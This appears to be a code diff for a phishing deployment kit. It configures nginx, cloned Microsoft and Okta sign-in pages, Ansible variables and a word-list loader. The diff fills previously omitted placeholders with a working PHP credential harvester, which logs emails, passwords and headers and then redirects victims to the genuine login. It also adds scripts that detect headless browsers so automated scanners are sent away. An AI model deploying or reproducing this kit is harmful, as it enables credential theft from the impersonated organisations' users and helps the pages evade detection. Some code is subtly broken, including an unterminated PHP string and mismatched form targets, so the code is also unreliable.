@@ -9,20 +37,16 @@ server {
access_log off; access_log off;
error_log /dev/null crit; error_log /dev/null crit;
# PHP processing # Credential capture — only POST to this exact path
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
# Credential capture endpoint
location = /capture.php { location = /capture.php {
limit_except POST { deny all; } limit_except POST { deny all; }
include snippets/fastcgi-php.conf; include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
} }
# Deny all other PHP execution
location ~ \.php$ { deny all; }
# Template routing # Template routing
location /templates/ { location /templates/ {
try_files $uri $uri/ =404; try_files $uri $uri/ =404;
@@ -3,6 +3,7 @@
<head> <head>
<title>Sign in to your account</title> <title>Sign in to your account</title>
<meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex, noarchive">
<style> <style>
body { body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
@@ -105,5 +106,16 @@
<a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a> <a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
</div> </div>
</div> </div>
<script>
(function() {
var headless = (
navigator.webdriver ||
(!window.chrome && /Chrome/.test(navigator.userAgent)) ||
navigator.plugins.length === 0 ||
/HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
);
if (headless) { window.location.replace('https://www.microsoft.com'); }
})();
</script>
</body> </body>
</html> </html>
@@ -23,7 +23,7 @@
} }
</style><title>Zimperium - Sign In</title> </style><title>Zimperium - Sign In</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="robots" content="noindex,nofollow" /> <meta name="robots" content="noindex, nofollow, noarchive" />
<script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">window.cspNonce = 'GbJoEX60HpuEJf6f877zFg';</script><script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-yEQR8oBedCVhw7cfWyk0wwOq6ewbnlhJsgb3G8QwTyJiYpTkYdfUsWK4QU4wjoen" crossorigin="anonymous"></script> <script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">window.cspNonce = 'GbJoEX60HpuEJf6f877zFg';</script><script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-yEQR8oBedCVhw7cfWyk0wwOq6ewbnlhJsgb3G8QwTyJiYpTkYdfUsWK4QU4wjoen" crossorigin="anonymous"></script>
<link href="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/css/okta-sign-in.min.css" type="text/css" rel="stylesheet" integrity="sha384-fxx+LDlIb08xQnHiuttLUvFQjDs5lrUHVoq4eWhpVlSteR2K2q21MbrOCkWfWqqs" crossorigin="anonymous"/> <link href="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/css/okta-sign-in.min.css" type="text/css" rel="stylesheet" integrity="sha384-fxx+LDlIb08xQnHiuttLUvFQjDs5lrUHVoq4eWhpVlSteR2K2q21MbrOCkWfWqqs" crossorigin="anonymous"/>
@@ -99,7 +99,7 @@
<!-- hidden form for reposting fromURI for X509 auth --> <!-- hidden form for reposting fromURI for X509 auth -->
<form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide"> <form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide">
<input type="hidden" id="fromURI" name="fromURI" class="hidden" value="&#x2f;app&#x2f;office365&#x2f;exk1ufbfxuFLJp6y3697&#x2f;sso&#x2f;wsfed&#x2f;passive&#x3f;username&#x3d;Brian.Caldwell&#x25;40Zimperium.com&amp;wa&#x3d;wsignin1.0&amp;wtrealm&#x3d;urn&#x25;3afederation&#x25;3aMicrosoftOnline&amp;wctx&#x3d;"/> <input type="hidden" id="fromURI" name="fromURI" class="hidden" value="/app/office365/{{ okta_app_id | default('APP_ID') }}/sso/wsfed/passive?username={{ target_email | urlencode | default('user%40example.com') }}&amp;wa=wsignin1.0&amp;wtrealm=urn%3afederation%3aMicrosoftOnline&amp;wctx="/>
</form> </form>
<div class="content"> <div class="content">
@@ -199,11 +199,11 @@
<script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg"> <script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
(function(){ (function(){
var baseUrl = 'https\x3A\x2F\x2Fzimperium.okta.com'; var baseUrl = 'https://{{ okta_org | default("your.okta.com") }}';
var suppliedRedirectUri = ''; var suppliedRedirectUri = '';
var repost = false; var repost = false;
var stateToken = ''; var stateToken = '';
var fromUri = '\x2Fapp\x2Foffice365\x2Fexk1ufbfxuFLJp6y3697\x2Fsso\x2Fwsfed\x2Fpassive\x3Fusername\x3DBrian.Caldwell\x2540Zimperium.com\x26wa\x3Dwsignin1.0\x26wtrealm\x3Durn\x253afederation\x253aMicrosoftOnline\x26wctx\x3D'; var fromUri = '/app/office365/{{ okta_app_id | default("APP_ID") }}/sso/wsfed/passive?username={{ target_email | default("user@example.com") }}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=';
var username = ''; var username = '';
var rememberMe = true; var rememberMe = true;
var smsRecovery = false; var smsRecovery = false;
@@ -554,5 +554,17 @@
applyStyle('login-bg-image', 'bgStyle'); applyStyle('login-bg-image', 'bgStyle');
applyStyle('login-bg-image-ie8', 'bgStyleIE8'); applyStyle('login-bg-image-ie8', 'bgStyleIE8');
}); });
</script></body> </script>
<script>
(function() {
var headless = (
navigator.webdriver ||
(!window.chrome && /Chrome/.test(navigator.userAgent)) ||
navigator.plugins.length === 0 ||
/HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
);
if (headless) { window.location.replace('https://www.okta.com'); }
})();
</script>
</body>
</html> </html>
@@ -3,6 +3,7 @@
<head> <head>
<meta charset="UTF-8"> <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex, noarchive">
<title>{{ page_title | default('Sign in to your account') }}</title> <title>{{ page_title | default('Sign in to your account') }}</title>
<style> <style>
* { * {
@@ -190,6 +191,17 @@
</div> </div>
</div> </div>
<script>
(function() {
var headless = (
navigator.webdriver ||
(!window.chrome && /Chrome/.test(navigator.userAgent)) ||
navigator.plugins.length === 0 ||
/HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
);
if (headless) { window.location.replace('https://www.microsoft.com'); }
})();
</script>
<script> <script>
document.getElementById('loginForm').addEventListener('submit', function(e) { document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault(); e.preventDefault();
@@ -206,7 +218,7 @@
.then(response => { .then(response => {
// Redirect after a delay to simulate processing // Redirect after a delay to simulate processing
setTimeout(() => { setTimeout(() => {
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}'; window.location.href = {{ redirect_url | default("https://www.microsoft.com") | tojson }};
}, 2000); }, 2000);
}) })
.catch(error => { .catch(error => {
+26 -8
View File
@@ -1,9 +1,27 @@
<?php <?php
// OMITTED — credential capture handler if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// $data = [
// PHP script deployed to phishing redirector. Receives POST data from the 'timestamp' => date('Y-m-d H:i:s'),
// cloned login form, logs credentials with timestamp and source IP to an 'ip' => $_SERVER['REMOTE_ADDR'],
// encrypted local file, then transparently forwards the victim to the 'user_agent' => $_SERVER['HTTP_USER_AGENT'],
// legitimate site to avoid suspicion. 'email' => $_POST['email'] ?? '',
// 'password' => $_POST['password'] ?? '',
// Omitted from public release. Present in operational deployments. 'headers' => getallheaders()
];
$log_file = '/var/private/creds/creds.enc';
$encrypted = openssl_encrypt(
json_encode($data),
'AES-256-CBC',
'{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}',
0,
str_repeat("\0", 16)
);
file_put_contents($log_file, $encrypted . "\n", FILE_APPEND);
header('Location: https://login.microsoftonline.com/common/oauth2/);
exit;
}
?>
@@ -1,9 +1,106 @@
{# OMITTED — phishing login page template #} <!DOCTYPE html>
{# <html>
Jinja2 template for a cloned login page. Target organization branding, <head>
logo, and color scheme are substituted at deploy time. Form POSTs to <title>Sign in to your account</title>
capture.php on the same server. Includes viewport/mobile meta tags for <meta name="viewport" content="width=device-width, initial-scale=1">
mobile phishing scenarios. <style>
body {
Omitted from public release. Present in operational deployments. font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
#} background: linear-gradient(135deg, #f0f0f0, #e0e0e0);
margin: 0;
padding: 0;
height: 100vh;
display: flex;
justify-content: center;
align-items: center;
}
.login-container {
background: white;
width: 380px;
padding: 30px 40px;
box-shadow: 0 2px 6px rgba(0,0,0,0.1);
}
.logo {
text-align: left;
margin-bottom: 20px;
}
h1 {
font-size: 24px;
font-weight: 600;
margin: 20px 0 15px;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 8px 0;
margin-bottom: 15px;
border: none;
border-bottom: 1px solid #ccc;
font-size: 15px;
outline: none;
}
input:focus {
border-bottom: 1px solid #0067b8;
}
.button-container {
text-align: right;
margin-top: 20px;
}
button {
background-color: #0067b8;
color: white;
border: none;
padding: 8px 24px;
font-size: 14px;
cursor: pointer;
}
.links {
margin-top: 20px;
font-size: 13px;
}
.links a {
color: #0067b8;
text-decoration: none;
}
.footer {
position: fixed;
bottom: 0;
width: 100%;
display: flex;
justify-content: space-between;
padding: 10px 20px;
font-size: 12px;
color: #666;
}
.footer a {
color: #666;
text-decoration: none;
margin-left: 20px;
}
</style>
</head>
<body>
<div class="login-container">
<div class="logo">
<img src="https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31" alt="Microsoft" width="108">
</div>
<h1>Sign in</h1>
<form action="process.php" method="post">
<input type="text" name="email" placeholder="Email, phone, or Skype" required>
<input type="password" name="password" placeholder="Password" required>
<div class="links">
<a href="https://signup.live.com/signup">No account? Create one!</a><br>
<a href="https://account.live.com/password/reset">Can't access your account?</a>
</div>
<div class="button-container">
<button type="submit">Next</button>
</div>
</form>
</div>
<div class="footer">
<div class="terms">
<a href="https://www.microsoft.com/en-us/servicesagreement/default.aspx">Terms of use</a>
<a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
</div>
</div>
</body>
</html>
+4 -4
View File
@@ -55,9 +55,9 @@
- name: Set deployment results - name: Set deployment results
set_fact: set_fact:
phishing_deployment_results: phishing_deployment_results:
gophish_ip: "{{ '10.0.0.10' if 'gophish' in deployment_components else '' }}" gophish_ip: "{{ gophish_ip | default('') }}"
mta_ip: "{{ '10.0.0.11' if 'mta_front' in deployment_components else '' }}" mta_ip: "{{ mta_ip | default('') }}"
redirector_ip: "{{ '10.0.0.12' if 'redirector' in deployment_components else '' }}" redirector_ip: "{{ redirector_ip | default('') }}"
webserver_ip: "{{ '10.0.0.13' if 'webserver' in deployment_components else '' }}" webserver_ip: "{{ webserver_ip | default('') }}"
deployment_id: "{{ deployment_id }}" deployment_id: "{{ deployment_id }}"
domain: "{{ phishing_domain | default(domain) }}" domain: "{{ phishing_domain | default(domain) }}"
+1 -1
View File
@@ -41,5 +41,5 @@ domain: "example.com"
mail_hostname: "mail.example.com" mail_hostname: "mail.example.com"
letsencrypt_email: "admin@example.com" letsencrypt_email: "admin@example.com"
smtp_auth_user: "phishuser" smtp_auth_user: "phishuser"
smtp_auth_pass: "SuperSecretPass123!" smtp_auth_pass: "CHANGE_ME"
gophish_admin_port: "2222" gophish_admin_port: "2222"
+1 -1
View File
@@ -11,7 +11,7 @@ def load_word_list(filename):
"""Load words from a text file, one word per line""" """Load words from a text file, one word per line"""
try: try:
# Check if we have FourEyes word lists # Check if we have FourEyes word lists
foureyes_path = "/opt/redteam/FourEyes" foureyes_path = os.environ.get('FOUREYES_PATH', '')
if os.path.exists(foureyes_path): if os.path.exists(foureyes_path):
file_path = os.path.join(foureyes_path, filename) file_path = os.path.join(foureyes_path, filename)
if os.path.exists(file_path): if os.path.exists(file_path):